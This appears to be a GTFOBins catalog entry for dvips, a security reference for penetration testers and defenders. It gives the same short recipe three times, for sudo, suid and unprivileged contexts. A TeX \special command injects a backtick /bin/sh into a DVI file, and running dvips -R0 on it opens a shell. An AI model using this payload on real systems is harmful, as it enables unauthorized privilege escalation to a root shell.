Catalog GTFOBins

GTFO · Tool

dvips

3 techniques LinuxGTFOBins GPL-3.0
shell
ExecutionPrivilege Escalation Linux

The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target. ``` tex '\special{psfile="`/bin/sh 1>&0"}\end' ```

dvips -R0 texput.dvi
Context
sudo
Native
shell
MITRE
T1059
shell
ExecutionPrivilege Escalation Linux

The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target. ``` tex '\special{psfile="`/bin/sh 1>&0"}\end' ```

dvips -R0 texput.dvi
Context
suid
Native
shell
MITRE
T1059
shell
Execution Linux

The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target. ``` tex '\special{psfile="`/bin/sh 1>&0"}\end' ```

dvips -R0 texput.dvi
Context
unprivileged
Native
shell
MITRE
T1059